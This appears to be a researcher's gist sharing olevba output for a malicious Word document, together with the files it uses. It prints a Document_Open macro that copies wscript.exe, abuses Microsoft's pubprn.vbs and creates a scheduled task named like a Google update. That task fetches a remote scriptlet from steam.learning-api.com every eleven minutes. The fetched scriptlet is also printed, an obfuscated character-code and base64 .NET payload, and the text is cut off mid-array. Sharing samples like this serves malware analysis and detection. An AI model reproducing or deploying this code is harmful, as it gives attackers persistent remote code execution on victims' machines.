Skip to content

Instantly share code, notes, and snippets.

@JohnLaTwC
Created February 1, 2018 00:07
Show Gist options
  • Save JohnLaTwC/8ae73c58d67a8b2882e5f250bb7464ad to your computer and use it in GitHub Desktop.
Save JohnLaTwC/8ae73c58d67a8b2882e5f250bb7464ad to your computer and use it in GitHub Desktop.
[VBA malware uploaded by @JohnLaTwC
## uploaded by @JohnLaTwC
## sample hash: 50cde418da81fd42da8b8bb603aaebc30620e53a8b0c4e615a9dc09efc8bc728
olevba 0.52dev7 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
MHT:MASIHB-- 50cde418da81fd42da8b8bb603aaebc30620e53a8b0c4e615a9dc09efc8bc728
===============================================================================
FILE: 50cde418da81fd42da8b8bb603aaebc30620e53a8b0c4e615a9dc09efc8bc728
Type: MHTML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: None - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim nghcvbfredsw As String
Dim eergfrrtt As Double
Dim ozKbo, ozKbp As String
a = "a"
b = "b"
On Error Resume Next
Dim RDir As String
RDir = Environ("SYSTEMDRIVE")
dfgfgeropu RDir
ozKbo = "schtasks /create /sc MINUTE /tn ""GoogleUpdateTasksMachineCore"" /tr ""\""" & RDir & "\ProgramData\YING.exe\"" //E:vbscript /b " & RDir & "\ProgramData\YANG.txt localhost \""sc\""r\""i\""p\""t:https://steam.learning-api.com/ib.jpg"" /mo 11 /F"
ozKbp = "schtasks /create /sc MINUTE /tn ""GoogleUpdateTasksMachineCore"" /tr ""\""" & RDir & "\ProgramData\YING.exe\"" //E:vbscript /b " & RDir & "\ProgramData\YANG.txt localhost \""sc\""r\""i\""p\""t:https://steam.learning-api.com/ib.jpg"" /mo 11"
nghcvbfredsw = uyynmhkdfe("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion")
eergfrrtt = CDbl(nghcvbfredsw)
If eergfrrtt >= 6.1 Then
'
Shell ozKbo, vbHide
Else
'
Shell ozKbp, vbHide
End If
ActiveDocument.Range.Text = "Error : 0x8004fc12"
End Sub
Function uyynmhkdfe(i_RegKey As String) As String
Dim myWS As Object
On Error Resume Next
Set myWS = CreateObject("WScript.Shell")
uyynmhkdfe = myWS.RegRead(i_RegKey)
End Function
Function dfgfgeropu(DesDir As String)
FileCopy DesDir & "\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs", DesDir & "\ProgramData\YANG.txt"
Dim arcPath As String
arcPath = DesDir & "\\Windows\\SysWOW64"
If dirExists(arcPath) = True Then
FileCopy DesDir & "\Windows\SysWOW64\wscript.exe", DesDir & "\ProgramData\YING.exe"
Else
FileCopy DesDir & "\Windows\System32\wscript.exe", DesDir & "\ProgramData\YING.exe"
End If
End Function
Function dirExists(s_directory As String) As Boolean
Set OFSO = CreateObject("Scripting.FileSystemObject")
dirExists = OFSO.FolderExists(s_directory)
End Function
## YANG.txt contents:
'----------------------------------------------------------------------
' pubprn.vbs - publish printers from a non Windows 2000 server into Windows 2000 DS
'
'
' Arguments are:-
' server - format server
' DS container - format "LDAP:\\CN=...,DC=...."
'
'
' Copyright (c) Microsoft Corporation 1997
' All Rights Reserved
'----------------------------------------------------------------------
'--- Begin Error Strings ---
Dim L_PubprnUsage1_text
Dim L_PubprnUsage2_text
Dim L_PubprnUsage3_text
Dim L_PubprnUsage4_text
Dim L_PubprnUsage5_text
Dim L_PubprnUsage6_text
Dim L_GetObjectError1_text
Dim L_GetObjectError2_text
Dim L_PublishError1_text
Dim L_PublishError2_text
Dim L_PublishError3_text
Dim L_PublishSuccess1_text
L_PubprnUsage1_text = "Usage: [cscript] pubprn.vbs server ""LDAP://OU=..,DC=..."""
L_PubprnUsage2_text = " server is a Windows server name (e.g.: Server) or UNC printer name (\\Server\Printer)"
L_PubprnUsage3_text = " ""LDAP://CN=...,DC=..."" is the DS path of the target container"
L_PubprnUsage4_text = ""
L_PubprnUsage5_text = "Example 1: pubprn.vbs MyServer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""
L_PubprnUsage6_text = "Example 2: pubprn.vbs \\MyServer\Printer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""
L_GetObjectError1_text = "Error: Path "
L_GetObjectError2_text = " not found."
L_GetObjectError3_text = "Error: Unable to access "
L_PublishError1_text = "Error: Pubprn cannot publish printers from "
L_PublishError2_text = " because it is running Windows 2000, or later."
L_PublishError3_text = "Failed to publish printer "
L_PublishError4_text = "Error: "
L_PublishSuccess1_text = "Published printer: "
'--- End Error Strings ---
set Args = Wscript.Arguments
if args.count < 2 then
wscript.echo L_PubprnUsage1_text
wscript.echo L_PubprnUsage2_text
wscript.echo L_PubprnUsage3_text
wscript.echo L_PubprnUsage4_text
wscript.echo L_PubprnUsage5_text
wscript.echo L_PubprnUsage6_text
wscript.quit(1)
end if
ServerName= args(0)
Container = args(1)
on error resume next
Set PQContainer = GetObject(Container)
if err then
wscript.echo L_GetObjectError1_text & Container & L_GetObjectError2_text
wscript.quit(1)
end if
on error goto 0
if left(ServerName,1) = "\" then
PublishPrinter ServerName, ServerName, Container
else
on error resume next
Set PrintServer = GetObject("WinNT://" & ServerName & ",computer")
if err then
wscript.echo L_GetObjectError3_text & ServerName & ": " & err.Description
wscript.quit(1)
end if
on error goto 0
For Each Printer In PrintServer
if Printer.class = "PrintQueue" then PublishPrinter Printer.PrinterPath, ServerName, Container
Next
end if
sub PublishPrinter(UNC, ServerName, Container)
Set PQ = WScript.CreateObject("OlePrn.DSPrintQueue.1")
PQ.UNCName = UNC
PQ.Container = Container
on error resume next
PQ.Publish(2)
if err then
if err.number = -2147024772 then
wscript.echo L_PublishError1_text & Chr(34) & ServerName & Chr(34) & L_PublishError2_text
wscript.quit(1)
else
wscript.echo L_PublishError3_text & Chr(34) & UNC & Chr(34) & "."
wscript.echo L_PublishError4_text & err.Description
end if
else
wscript.echo L_PublishSuccess1_text & PQ.Path
end if
Set PQ = nothing
end sub
## https://steam.learning-api.com/ib.jpg contents:
<SCRIPTLET>
<Registration
Description="ConvertTemp"
ProgID="ConvertTemp.Scriptlet"
Version="1.00"
>
</Registration>
<implements id=Automation type=Automation>
<method name=Celsius>
<PARAMETER name=F/>
</method>
<method name=Fahrenheit>
<PARAMETER name=C/>
</method> </implements>
<SCRIPT Language= "VBScript">
cs=Array(83,117,98,32,68,101,98,117,103,80,114,105,110,116,40,115,41,10,69,110,100,32,83,117,98,10,10,83,117,98,32,83,101,116,86,101,114,115,105,111,110,10,68,105,109,32,115,104,101,108,108,10,83,101,116,32,115,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,10,68,105,109,32,118,101,114,10,118,101,114,32,61,32,34,118,52,46,48,46,51,48,51,49,57,34,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,10,115,104,101,108,108,46,82,101,103,82,101,97,100,32,34,72,75,76,77,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,46,78,69,84,70,114,97,109,101,119,111,114,107,92,118,52,46,48,46,51,48,51,49,57,92,34,10,73,102,32,69,114,114,46,78,117,109,98,101,114,32,60,62,32,48,32,84,104,101,110,10,32,32,118,101,114,32,61,32,34,118,50,46,48,46,53,48,55,50,55,34,10,32,32,69,114,114,46,67,108,101,97,114,10,69,110,100,32,73,102,10,115,104,101,108,108,46,69,110,118,105,114,111,110,109,101,110,116,40,34,80,114,111,99,101,115,115,34,41,46,73,116,101,109,40,34,67,79,77,80,76,85,83,95,86,101,114,115,105,111,110,34,41,32,61,32,118,101,114,10,69,110,100,32,83,117,98,10,10,70,117,110,99,116,105,111,110,32,66,97,115,101,54,52,84,111,83,116,114,101,97,109,40,98,41,10,32,32,68,105,109,32,101,110,99,44,32,108,101,110,103,116,104,44,32,98,97,44,32,116,114,97,110,115,102,111,114,109,44,32,109,115,10,32,32,83,101,116,32,101,110,99,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,121,115,116,101,109,46,84,101,120,116,46,65,83,67,73,73,69,110,99,111,100,105,110,103,34,41,10,32,32,108,101,110,103,116,104,32,61,32,101,110,99,46,71,101,116,66,121,116,101,67,111,117,110,116,95,50,40,98,41,10,32,32,83,101,116,32,116,114,97,110,115,102,111,114,109,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,121,115,116,101,109,46,83,101,99,117,114,105,116,121,46,67,114,121,112,116,111,103,114,97,112,104,121,46,70,114,111,109,66,97,115,101,54,52,84,114,97,110,115,102,111,114,109,34,41,10,32,32,83,101,116,32,109,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,34,41,10,32,32,109,115,46,87,114,105,116,101,32,116,114,97,110,115,102,111,114,109,46,84,114,97,110,115,102,111,114,109,70,105,110,97,108,66,108,111,99,107,40,101,110,99,46,71,101,116,66,121,116,101,115,95,52,40,98,41,44,32,48,44,32,108,101,110,103,116,104,41,44,32,48,44,32,40,40,108,101,110,103,116,104,32,47,32,52,41,32,42,32,51,41,10,32,32,109,115,46,80,111,115,105,116,105,111,110,32,61,32,48,10,32,32,83,101,116,32,66,97,115,101,54,52,84,111,83,116,114,101,97,109,32,61,32,109,115,10,69,110,100,32,70,117,110,99,116,105,111,110,10,10,83,117,98,32,82,117,110,10,68,105,109,32,115,44,32,101,110,116,114,121,95,99,108,97,115,115,10,115,32,61,32,34,65,65,69,65,65,65,68,47,47,47,47,47,65,81,65,65,65,65,65,65,65,65,65,69,65,81,65,65,65,67,74,84,101,88,78,48,90,87,48,117,82,71,86,115,90,87,100,104,100,71,86,84,90,88,74,112,89,87,120,112,101,109,70,48,97,87,57,117,83,71,57,115,90,71,86,121,34,10,115,32,61,32,115,32,38,32,34,65,119,65,65,65,65,104,69,90,87,120,108,90,50,70,48,90,81,100,48,89,88,74,110,90,88,81,119,66,50,49,108,100,71,104,118,90,68,65,68,65,119,77,119,85,51,108,122,100,71,86,116,76,107,82,108,98,71,86,110,89,88,82,108,85,50,86,121,97,87,70,115,97,88,112,104,34,10,115,32,61,32,115,32,38,32,34,100,71,108,118,98,107,104,118,98,71,82,108,99,105,116,69,90,87,120,108,90,50,70,48,90,85,86,117,100,72,74,53,73,108,78,53,99,51,82,108,98,83,53,69,90,87,120,108,90,50,70,48,90,86,78,108,99,109,108,104,98,71,108,54,89,88,82,112,98,50,53,73,98,50,120,107,34,10,115,32,61,32,115,32,38,32,34,90,88,73,118,85,51,108,122,100,71,86,116,76,108,74,108,90,109,120,108,89,51,82,112,98,50,52,117,84,87,86,116,89,109,86,121,83,87,53,109,98,49,78,108,99,109,108,104,98,71,108,54,89,88,82,112,98,50,53,73,98,50,120,107,90,88,73,74,65,103,65,65,65,65,107,68,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,67,81,81,65,65,65,65,69,65,103,65,65,65,68,66,84,101,88,78,48,90,87,48,117,82,71,86,115,90,87,100,104,100,71,86,84,90,88,74,112,89,87,120,112,101,109,70,48,97,87,57,117,83,71,57,115,90,71,86,121,75,48,82,108,98,71,86,110,89,88,82,108,34,10,115,32,61,32,115,32,38,32,34,82,87,53,48,99,110,107,72,65,65,65,65,66,72,82,53,99,71,85,73,89,88,78,122,90,87,49,105,98,72,107,71,100,71,70,121,90,50,86,48,69,110,82,104,99,109,100,108,100,70,82,53,99,71,86,66,99,51,78,108,98,87,74,115,101,81,53,48,89,88,74,110,90,88,82,85,34,10,115,32,61,32,115,32,38,32,34,101,88,66,108,84,109,70,116,90,81,112,116,90,88,82,111,98,50,82,79,89,87,49,108,68,87,82,108,98,71,86,110,89,88,82,108,82,87,53,48,99,110,107,66,65,81,73,66,65,81,69,68,77,70,78,53,99,51,82,108,98,83,53,69,90,87,120,108,90,50,70,48,90,86,78,108,34,10,115,32,61,32,115,32,38,32,34,99,109,108,104,98,71,108,54,89,88,82,112,98,50,53,73,98,50,120,107,90,88,73,114,82,71,86,115,90,87,100,104,100,71,86,70,98,110,82,121,101,81,89,70,65,65,65,65,76,49,78,53,99,51,82,108,98,83,53,83,100,87,53,48,97,87,49,108,76,108,74,108,98,87,57,48,34,10,115,32,61,32,115,32,38,32,34,97,87,53,110,76,107,49,108,99,51,78,104,90,50,108,117,90,121,53,73,90,87,70,107,90,88,74,73,89,87,53,107,98,71,86,121,66,103,89,65,65,65,66,76,98,88,78,106,98,51,74,115,97,87,73,115,73,70,90,108,99,110,78,112,98,50,52,57,77,105,52,119,76,106,65,117,34,10,115,32,61,32,115,32,38,32,34,77,67,119,103,81,51,86,115,100,72,86,121,90,84,49,117,90,88,86,48,99,109,70,115,76,67,66,81,100,87,74,115,97,87,78,76,90,88,108,85,98,50,116,108,98,106,49,105,78,122,100,104,78,87,77,49,78,106,69,53,77,122,82,108,77,68,103,53,66,103,99,65,65,65,65,72,34,10,115,32,61,32,115,32,38,32,34,100,71,70,121,90,50,86,48,77,65,107,71,65,65,65,65,66,103,107,65,65,65,65,80,85,51,108,122,100,71,86,116,76,107,82,108,98,71,86,110,89,88,82,108,66,103,111,65,65,65,65,78,82,72,108,117,89,87,49,112,89,48,108,117,100,109,57,114,90,81,111,69,65,119,65,65,34,10,115,32,61,32,115,32,38,32,34,65,67,74,84,101,88,78,48,90,87,48,117,82,71,86,115,90,87,100,104,100,71,86,84,90,88,74,112,89,87,120,112,101,109,70,48,97,87,57,117,83,71,57,115,90,71,86,121,65,119,65,65,65,65,104,69,90,87,120,108,90,50,70,48,90,81,100,48,89,88,74,110,90,88,81,119,34,10,115,32,61,32,115,32,38,32,34,66,50,49,108,100,71,104,118,90,68,65,68,66,119,77,119,85,51,108,122,100,71,86,116,76,107,82,108,98,71,86,110,89,88,82,108,85,50,86,121,97,87,70,115,97,88,112,104,100,71,108,118,98,107,104,118,98,71,82,108,99,105,116,69,90,87,120,108,90,50,70,48,90,85,86,117,34,10,115,32,61,32,115,32,38,32,34,100,72,74,53,65,105,57,84,101,88,78,48,90,87,48,117,85,109,86,109,98,71,86,106,100,71,108,118,98,105,53,78,90,87,49,105,90,88,74,74,98,109,90,118,85,50,86,121,97,87,70,115,97,88,112,104,100,71,108,118,98,107,104,118,98,71,82,108,99,103,107,76,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,67,81,119,65,65,65,65,74,68,81,65,65,65,65,81,69,65,65,65,65,76,49,78,53,99,51,82,108,98,83,53,83,90,87,90,115,90,87,78,48,97,87,57,117,76,107,49,108,98,87,74,108,99,107,108,117,90,109,57,84,90,88,74,112,89,87,120,112,101,109,70,48,97,87,57,117,34,10,115,32,61,32,115,32,38,32,34,83,71,57,115,90,71,86,121,66,103,65,65,65,65,82,79,89,87,49,108,68,69,70,122,99,50,86,116,89,109,120,53,84,109,70,116,90,81,108,68,98,71,70,122,99,48,53,104,98,87,85,74,85,50,108,110,98,109,70,48,100,88,74,108,67,107,49,108,98,87,74,108,99,108,82,53,34,10,115,32,61,32,115,32,38,32,34,99,71,85,81,82,50,86,117,90,88,74,112,89,48,70,121,90,51,86,116,90,87,53,48,99,119,69,66,65,81,69,65,65,119,103,78,85,51,108,122,100,71,86,116,76,108,82,53,99,71,86,98,88,81,107,75,65,65,65,65,67,81,89,65,65,65,65,74,67,81,65,65,65,65,89,82,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,76,70,78,53,99,51,82,108,98,83,53,80,89,109,112,108,89,51,81,103,82,72,108,117,89,87,49,112,89,48,108,117,100,109,57,114,90,83,104,84,101,88,78,48,90,87,48,117,84,50,74,113,90,87,78,48,87,49,48,112,67,65,65,65,65,65,111,66,67,119,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,73,65,65,65,65,71,69,103,65,65,65,67,66,84,101,88,78,48,90,87,48,117,87,71,49,115,76,108,78,106,97,71,86,116,89,83,53,89,98,87,120,87,89,87,120,49,90,85,100,108,100,72,82,108,99,103,89,84,65,65,65,65,84,86,78,53,99,51,82,108,98,83,53,89,34,10,115,32,61,32,115,32,38,32,34,98,87,119,115,73,70,90,108,99,110,78,112,98,50,52,57,77,105,52,119,76,106,65,117,77,67,119,103,81,51,86,115,100,72,86,121,90,84,49,117,90,88,86,48,99,109,70,115,76,67,66,81,100,87,74,115,97,87,78,76,90,88,108,85,98,50,116,108,98,106,49,105,78,122,100,104,34,10,115,32,61,32,115,32,38,32,34,78,87,77,49,78,106,69,53,77,122,82,108,77,68,103,53,66,104,81,65,65,65,65,72,100,71,70,121,90,50,86,48,77,65,107,71,65,65,65,65,66,104,89,65,65,65,65,97,85,51,108,122,100,71,86,116,76,108,74,108,90,109,120,108,89,51,82,112,98,50,52,117,81,88,78,122,34,10,115,32,61,32,115,32,38,32,34,90,87,49,105,98,72,107,71,70,119,65,65,65,65,82,77,98,50,70,107,67,103,56,77,65,65,65,65,65,67,89,65,65,65,74,78,87,112,65,65,65,119,65,65,65,65,81,65,65,65,68,47,47,119,65,65,117,65,65,65,65,65,65,65,65,65,66,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,67,65,65,65,65,65,68,104,43,54,68,103,67,48,67,99,48,104,117,65,70,77,122,83,70,85,97,71,108,122,73,72,66,121,98,50,100,121,34,10,115,32,61,32,115,32,38,32,34,89,87,48,103,89,50,70,117,98,109,57,48,73,71,74,108,73,72,74,49,98,105,66,112,98,105,66,69,84,49,77,103,98,87,57,107,90,83,52,78,68,81,111,107,65,65,65,65,65,65,65,65,65,70,66,70,65,65,66,77,65,81,77,65,70,102,117,119,87,81,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,52,65,65,105,73,65,115,66,77,65,65,65,72,103,65,65,65,65,89,65,65,65,65,65,65,65,67,83,80,65,65,65,65,67,65,65,65,65,66,65,65,65,65,65,65,65,65,81,65,67,65,65,65,65,65,67,65,65,65,69,65,65,65,65,65,65,65,65,65,65,81,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,73,65,65,65,65,65,67,65,65,65,65,65,65,65,65,65,119,66,65,104,81,65,65,69,65,65,65,69,65,65,65,65,65,65,81,65,65,65,81,65,65,65,65,65,65,65,65,69,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,81,68,119,65,34,10,115,32,61,32,115,32,38,32,34,65,69,56,65,65,65,65,65,81,65,65,65,97,65,77,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,89,65,65,65,68,65,65,65,65,65,103,55,65,65,65,99,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,103,65,65,65,73,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,73,73,65,65,65,83,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,76,110,82,108,101,72,81,65,65,65,67,89,72,65,65,65,65,67,65,65,65,65,65,101,65,65,65,65,65,103,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,73,65,65,65,89,67,53,121,99,51,74,106,65,65,65,65,97,65,77,65,65,65,66,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,66,65,65,65,65,67,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,69,65,65,65,69,65,117,99,109,86,115,98,50,77,65,65,65,119,65,65,65,65,65,89,65,65,65,65,65,73,65,65,65,65,107,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,66,65,65,65,66,67,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,72,81,56,65,65,65,65,65,65,65,65,83,65,65,65,65,65,73,65,66,81,65,73,74,65,65,65,65,66,99,65,65,65,69,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,69,122,65,66,65,66,85,65,65,65,65,66,34,10,115,32,61,32,115,32,38,32,34,65,65,65,82,65,105,103,80,65,65,65,75,102,104,65,65,65,65,111,75,69,103,65,111,66,119,65,65,66,105,89,113,65,65,65,65,71,122,65,69,65,69,111,65,65,65,65,67,65,65,65,82,65,110,77,82,65,65,65,75,99,120,73,65,65,65,111,75,72,50,83,78,70,119,65,65,34,10,115,32,61,32,115,32,38,32,34,65,81,115,87,99,120,77,65,65,65,111,77,70,103,48,114,67,81,89,72,70,103,108,118,70,65,65,65,67,103,103,72,70,104,57,107,98,120,85,65,65,65,111,108,68,82,89,119,54,78,52,75,67,67,119,71,67,71,56,87,65,65,65,75,51,65,90,118,70,119,65,65,67,105,111,65,34,10,115,32,61,32,115,32,38,32,34,65,65,69,81,65,65,65,67,65,66,115,65,72,106,107,65,67,103,65,65,65,65,65,84,77,65,111,65,88,119,69,65,65,65,77,65,65,66,69,111,71,65,65,65,67,103,85,117,66,103,85,54,49,81,65,65,65,65,77,111,71,81,65,65,67,105,103,67,65,65,65,71,67,104,73,66,34,10,115,32,61,32,115,32,38,32,34,47,104,85,71,65,65,65,67,69,103,76,43,70,81,85,65,65,65,73,85,66,72,52,81,65,65,65,75,102,104,65,65,65,65,111,87,73,65,81,65,65,65,104,43,69,65,65,65,67,104,81,83,65,82,73,67,75,66,73,65,65,65,89,109,67,72,115,107,65,65,65,69,102,104,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,111,71,106,109,108,43,65,81,65,65,66,72,52,67,65,65,65,69,75,66,65,65,65,65,89,78,102,104,65,65,65,65,111,84,66,65,104,55,74,65,65,65,66,65,107,71,66,111,53,112,69,103,81,111,68,103,65,65,66,105,89,87,69,119,85,73,101,121,81,65,65,65,81,74,34,10,115,32,61,32,115,32,38,32,34,66,111,53,112,102,103,77,65,65,65,81,83,66,83,103,82,65,65,65,71,74,103,104,55,74,103,65,65,66,67,103,97,65,65,65,75,98,120,115,65,65,65,111,84,66,104,56,81,70,104,69,71,70,109,56,99,65,65,65,75,98,120,48,65,65,65,111,111,68,81,65,65,66,104,77,72,34,10,115,32,61,32,115,32,38,32,34,67,82,69,72,102,104,65,65,65,65,111,111,68,119,65,65,66,105,89,73,101,121,85,65,65,65,81,111,69,119,65,65,66,105,89,114,100,83,103,101,65,65,65,75,69,119,103,82,67,66,69,73,72,121,66,118,72,119,65,65,67,109,56,103,65,65,65,75,69,119,103,70,72,106,77,116,34,10,115,32,61,32,115,32,38,32,34,75,67,69,65,65,65,112,118,73,103,65,65,67,109,56,106,65,65,65,75,98,121,81,65,65,65,112,121,65,81,65,65,99,72,73,84,65,65,66,119,98,121,85,65,65,65,111,82,67,67,103,109,65,65,65,75,74,105,115,114,75,67,69,65,65,65,112,118,73,103,65,65,67,109,56,106,34,10,115,32,61,32,115,32,38,32,34,65,65,65,75,98,121,81,65,65,65,112,121,69,119,65,65,99,72,73,66,65,65,66,119,98,121,85,65,65,65,111,82,67,67,103,109,65,65,65,75,74,104,89,111,74,119,65,65,67,105,111,65,69,122,65,71,65,78,107,65,65,65,65,69,65,65,65,82,75,66,103,65,65,65,111,69,34,10,115,32,61,32,115,32,38,32,34,76,103,77,69,76,86,73,68,75,66,107,65,65,65,111,111,65,103,65,65,66,103,112,43,69,65,65,65,67,103,97,79,97,88,52,66,65,65,65,69,102,103,77,65,65,65,81,111,67,81,65,65,66,103,115,71,70,103,99,71,106,109,107,111,75,65,65,65,67,110,52,81,65,65,65,75,34,10,115,32,61,32,115,32,38,32,34,74,104,89,77,102,104,65,65,65,65,111,78,70,104,89,72,67,82,89,83,65,105,103,76,65,65,65,71,70,83,103,77,65,65,65,71,74,105,116,49,75,66,52,65,65,65,111,84,66,66,69,69,69,81,81,102,73,71,56,102,65,65,65,75,98,121,65,65,65,65,111,84,66,65,81,101,34,10,115,32,61,32,115,32,38,32,34,77,121,48,111,73,81,65,65,67,109,56,105,65,65,65,75,98,121,77,65,65,65,112,118,74,65,65,65,67,110,73,66,65,65,66,119,99,104,77,65,65,72,66,118,74,81,65,65,67,104,69,69,75,67,89,65,65,65,111,109,75,121,115,111,73,81,65,65,67,109,56,105,65,65,65,75,34,10,115,32,61,32,115,32,38,32,34,98,121,77,65,65,65,112,118,74,65,65,65,67,110,73,84,65,65,66,119,99,103,69,65,65,72,66,118,74,81,65,65,67,104,69,69,75,67,89,65,65,65,111,109,70,105,103,110,65,65,65,75,75,103,65,65,65,66,77,119,66,65,67,119,65,65,65,65,66,81,65,65,69,83,103,89,34,10,115,32,61,32,115,32,38,32,34,65,65,65,75,66,83,52,68,66,83,48,118,99,121,107,65,65,65,111,68,98,121,111,65,65,65,111,111,75,119,65,65,67,103,111,69,98,121,119,65,65,65,111,87,77,81,115,67,66,103,81,70,75,65,77,65,65,65,89,114,101,81,73,71,66,83,103,69,65,65,65,71,75,50,56,111,34,10,115,32,61,32,115,32,38,32,34,72,103,65,65,67,103,115,72,66,120,56,103,98,120,56,65,65,65,112,118,73,65,65,65,67,103,115,70,72,106,77,115,75,67,69,65,65,65,112,118,73,103,65,65,67,109,56,106,65,65,65,75,98,121,81,65,65,65,112,121,65,81,65,65,99,72,73,84,65,65,66,119,98,121,85,65,34,10,115,32,61,32,115,32,38,32,34,65,65,111,72,75,67,89,65,65,65,111,109,75,121,111,111,73,81,65,65,67,109,56,105,65,65,65,75,98,121,77,65,65,65,112,118,74,65,65,65,67,110,73,84,65,65,66,119,99,103,69,65,65,72,66,118,74,81,65,65,67,103,99,111,74,103,65,65,67,105,89,87,75,67,99,65,34,10,115,32,61,32,115,32,38,32,34,65,65,111,113,89,105,65,65,69,65,65,65,103,65,69,65,65,65,81,97,103,65,73,65,65,65,81,102,81,73,65,68,65,65,65,69,75,103,65,65,65,69,74,84,83,107,73,66,65,65,69,65,65,65,65,65,65,65,119,65,65,65,66,50,77,105,52,119,76,106,85,119,78,122,73,51,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,85,65,98,65,65,65,65,79,81,73,65,65,65,106,102,103,65,65,85,65,107,65,65,80,81,75,65,65,65,106,85,51,82,121,97,87,53,110,99,119,65,65,65,65,66,69,70,65,65,65,75,65,65,65,65,67,78,86,85,119,66,115,70,65,65,65,69,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,67,78,72,86,85,108,69,65,65,65,65,102,66,81,65,65,73,81,67,65,65,65,106,81,109,120,118,89,103,65,65,65,65,65,65,65,65,65,67,65,65,65,66,86,120,48,67,70,65,107,67,65,65,65,65,43,103,69,122,65,66,89,65,65,65,69,65,65,65,65,105,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,66,119,65,65,65,69,77,65,65,65,65,86,65,65,65,65,80,81,65,65,65,67,119,65,65,65,65,110,65,65,65,65,69,81,65,65,65,65,85,65,65,65,65,67,65,65,65,65,68,119,65,65,65,65,69,65,65,65,65,67,65,65,65,65,66,81,65,65,65,65,65,65,118,119,89,66,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,71,65,73,48,70,117,119,103,71,65,80,111,70,117,119,103,71,65,76,115,69,98,103,103,80,65,78,115,73,65,65,65,71,65,79,77,69,112,65,99,71,65,71,69,70,112,65,99,71,65,69,73,70,112,65,99,71,65,79,69,70,112,65,99,71,65,75,48,70,34,10,115,32,61,32,115,32,38,32,34,112,65,99,71,65,77,89,70,112,65,99,71,65,80,111,69,112,65,99,71,65,77,56,69,110,65,103,71,65,75,48,69,110,65,103,71,65,67,85,70,112,65,99,71,65,65,119,75,66,119,99,71,65,79,115,71,115,119,69,75,65,78,48,71,75,103,99,75,65,76,89,72,98,103,103,71,34,10,115,32,61,32,115,32,38,32,34,65,72,52,70,66,119,99,71,65,65,52,72,66,119,99,71,65,71,48,69,66,119,99,71,65,71,77,73,66,119,99,71,65,66,103,71,66,119,99,71,65,80,69,71,115,119,69,75,65,75,99,68,75,103,99,71,65,77,77,68,66,119,99,71,65,71,52,75,66,119,99,75,65,77,85,74,34,10,115,32,61,32,115,32,38,32,34,98,103,103,75,65,73,73,68,98,103,103,71,65,70,119,75,66,119,99,71,65,73,111,71,66,119,99,75,65,65,48,69,98,103,103,71,65,75,89,71,110,65,103,75,65,70,65,75,81,65,111,65,65,65,65,65,76,103,65,65,65,65,65,65,65,81,65,66,65,65,69,65,69,65,66,57,34,10,115,32,61,32,115,32,38,32,34,67,81,65,65,80,81,65,66,65,65,69,65,65,103,69,65,65,69,89,74,65,65,66,82,65,65,81,65,70,103,65,67,65,81,65,65,73,81,107,65,65,70,69,65,69,103,65,87,65,65,111,66,69,65,66,99,65,81,65,65,86,81,65,107,65,66,89,65,67,103,69,81,65,75,99,66,34,10,115,32,61,32,115,32,38,32,34,65,65,66,86,65,67,103,65,70,103,65,67,65,81,65,65,104,119,107,65,65,70,69,65,79,103,65,87,65,66,69,65,74,103,74,71,65,82,69,65,121,65,66,71,65,82,69,65,49,119,66,71,65,81,89,71,115,103,74,71,65,86,97,65,114,103,90,74,65,86,97,65,107,65,82,74,34,10,115,32,61,32,115,32,38,32,34,65,86,97,65,89,103,78,